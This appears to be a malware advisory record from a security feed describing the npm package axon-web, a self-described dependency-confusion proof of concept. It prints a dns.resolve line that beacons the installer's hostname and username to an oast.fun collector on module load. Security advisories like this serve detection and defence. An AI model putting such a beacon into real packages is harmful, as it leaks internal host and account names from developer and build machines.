{"id":"MAL-2026-19222","kind":"package","aliases":["MAL-2026-19222"],"related":[],"title":"Malicious code in axon-web (npm)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5)\nOn module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"axon-web","fixed":[],"affected":"= 12.0.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-11-13T03:51:42+00:00","first_seen_at":"2026-11-13T05:11:55+00:00","triaged_at":"2026-11-13T05:12:56+00:00","updated_at":"2026-11-13T05:14:00+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-19222':10A,13A '-2026':9A,12A '/username':42C '395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5':32C 'account':125C 'action':117C 'amazon':30C 'amazon-inspector':29C 'automat':111C 'axon':5A,15A 'axon-web':4A,14A 'band':56C 'beacon':120C 'behavior':109C 'build':129C 'caller':116C 'code':2A 'collector':57C 'concept':106C 'confus':102C 'control':87C 'depend':101C 'dependency-confus':100C 'detail':21C 'develop':132C 'dns':61C,71C 'dns.resolve':66C 'edit':24C 'encod':44C 'fire':110C 'host':78C 'hostnam':67C,123C 'ident':79C 'identifi':96C 'index.js':36C 'infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun':69C 'inspector':31C 'instal':76C 'instead':140C 'intend':143C 'interactsh':51C 'intern':122C,144C 'line':27C 'listen':86C 'load':35C 'machin':133C 'mal':8A,11A 'malici':1A,17B 'modul':34C 'name':126C,139C,149C 'npm':7A,138C 'oast.fun':52C,92C 'oob':85C 'os.hostname':38C 'out-of-band':53C 'packag':18B,95C,145C 'parti':84C 'per':19C 'perform':59C 'process.env.user':41C 'process.env.user/username':40C 'proof':104C 'proof-of-concept':103C 'provis':90C 'public':137C 'queri':72C 'read':37C 'requir':113C,118C 'resolut':62C 'resolv':135C 'reveal':121C 'sourc':20C,28C 'subdomain':48C,65C,93C 'system':130C 'third':83C 'third-parti':82C 'transmit':74C 'user':68C 'web':6A,16A 'whoever':89C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["axonweb"],"ptokens":["axon","web"],"labels":["critical","malicious","npm","package"],"campaign_type":null,"search_a":"'-19222':10A,13A '-2026':9A,12A 'axon':5A,15A 'axon-web':4A,14A 'code':2A 'mal':8A,11A 'malici':1A 'npm':7A 'web':6A,16A","search_b":"'malici':17B 'packag':18B","search_c":"'/username':42C '395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5':32C 'account':125C 'action':117C 'amazon':30C 'amazon-inspector':29C 'automat':111C 'band':56C 'beacon':120C 'behavior':109C 'build':129C 'caller':116C 'collector':57C 'concept':106C 'confus':102C 'control':87C 'depend':101C 'dependency-confus':100C 'detail':21C 'develop':132C 'dns':61C,71C 'dns.resolve':66C 'edit':24C 'encod':44C 'fire':110C 'host':78C 'hostnam':67C,123C 'ident':79C 'identifi':96C 'index.js':36C 'infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun':69C 'inspector':31C 'instal':76C 'instead':140C 'intend':143C 'interactsh':51C 'intern':122C,144C 'line':27C 'listen':86C 'load':35C 'machin':133C 'modul':34C 'name':126C,139C,149C 'npm':138C 'oast.fun':52C,92C 'oob':85C 'os.hostname':38C 'out-of-band':53C 'packag':95C,145C 'parti':84C 'per':19C 'perform':59C 'process.env.user':41C 'process.env.user/username':40C 'proof':104C 'proof-of-concept':103C 'provis':90C 'public':137C 'queri':72C 'read':37C 'requir':113C,118C 'resolut':62C 'resolv':135C 'reveal':121C 'sourc':20C,28C 'subdomain':48C,65C,93C 'system':130C 'third':83C 'third-parti':82C 'transmit':74C 'user':68C 'whoever':89C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-13T03:51:42+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-19222","url":"https://osv.dev/vulnerability/MAL-2026-19222","severity":"critical","published_at":"2026-11-13T03:51:42+00:00","modified_at":"2026-11-13T04:30:04+00:00","first_seen_at":"2026-11-13T05:11:55+00:00","fetched_at":"2026-11-13T05:11:55+00:00","note":null}],"documents":[],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}